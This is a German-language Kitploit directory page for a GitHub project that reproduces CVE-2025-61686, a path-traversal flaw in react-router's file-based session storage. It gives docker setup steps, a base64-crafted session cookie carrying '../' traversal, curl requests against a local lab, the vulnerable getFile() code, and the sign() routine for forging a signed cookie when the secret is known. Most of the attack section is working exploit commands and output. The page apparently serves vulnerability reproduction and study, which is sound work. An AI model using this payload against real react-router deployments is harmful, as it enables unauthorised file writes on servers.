Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-61686_docker — CVE-2025-61686复现的dockerfile与poc | Kitploit
Tools/GitHubGitHub/flowerwitch/cve-2025-61686_docker
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubflowerwitch/cve-2025-61686_docker

CVE-2025-61686_docker

CVE-2025-61686复现的dockerfile与poc

Repository anzeigen
1vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-61686_docker

Start

  1. Build
root@kitploit:~
docker-compose up --build
  1. Start
root@kitploit:~
docker-compose up

Reproduktionsablauf

  1. Sitzung mit Pfadüberquerungsbedingung erstellen
root@kitploit:~
└─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-_' | tr -d '='
IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg 
  1. Konstruierte Session in Cookie einfügen und Anfrage senden
root@kitploit:~
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg' 'http://localhost:3001/'
  1. Überprüfen
root@kitploit:~
root@de14139fdebf:/app# ls /tmp
flower

Ursache der Schwachstelle

Durch Vergleich der Versionen 7.9.3 und 7.9.4 kann man sehen, dass die Hauptursache der Schwachstelle in der Behandlung der Session in der Funktion getFile() in der Datei react-router/packages/react-router-node/sessions/fileStorage.ts liegt.

root@kitploit:~
export function getFile(dir: string, id: string): string {
  // Divide the session id up into a directory (first 2 bytes) and filename
  // (remaining 6 bytes) to reduce the chance of having very large directories,
  // which should speed up file access. This is a maximum of 2^16 directories,
  // each with 2^48 files.
  return path.join(dir, id.slice(0, 4), id.slice(4));
}

Hierbei werden die ersten 4 Zeichen der Session als Ordnername und die restlichen Zeichen als Dateiname verwendet, sodass ein Angreifer auf folgende Weise eine Pfadüberquerung erreichen kann. Dies ist der Grund, warum das Sicherheitsbulletin besagt, dass ohne Nutzung eines Secrets in der Session eine einfache Verzeichnisüberquerung möglich ist. Natürlich kann ein Angreifer, der das zum Verschlüsseln der Session verwendete Secret erlangt hat, ebenfalls ein entsprechendes Überquerungs-Payload konstruieren.

root@kitploit:~
>>> import os
>>> os.path.join("./sessions", "aaaa","../../tmp/flowerwitch")
'./sessions/aaaa/../../tmp/flowerwitch'

Ausnutzung bei bekanntem Secret

Falls das Secret erlangt wurde, kann man die sign() Funktion referenzieren und das Poc mit dem Secret signieren.

root@kitploit:~
export const sign = async (value: string, secret: string): Promise<string> => {
  let data = encoder.encode(value);
  let key = await createKey(secret, ["sign"]);
  let signature = await crypto.subtle.sign("HMAC", key, data);
  let hash = btoa(String.fromCharCode(...new Uint8Array(signature))).replace(
    /=+$/,
    "",
  );

  return value + "." + hash;
};
image

Senden einer Anfrage mit der erstellten Session

root@kitploit:~
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi8uLi90bXAvZmxvd2Vyd2l0Y2gi.L2ffutps16%2B3ENWvuWy4ZCouT%2BPSVeqmQOeaW%2FjziXg' 'http://localhost:3001/'

Bestätigung der Auslösung der Schwachstelle

root@kitploit:~
root@eb8750bd4a56:/tmp# ls
flowerwitch

Skript zur Signaturerstellung use_secret_create_payload.js

Tool herunterladen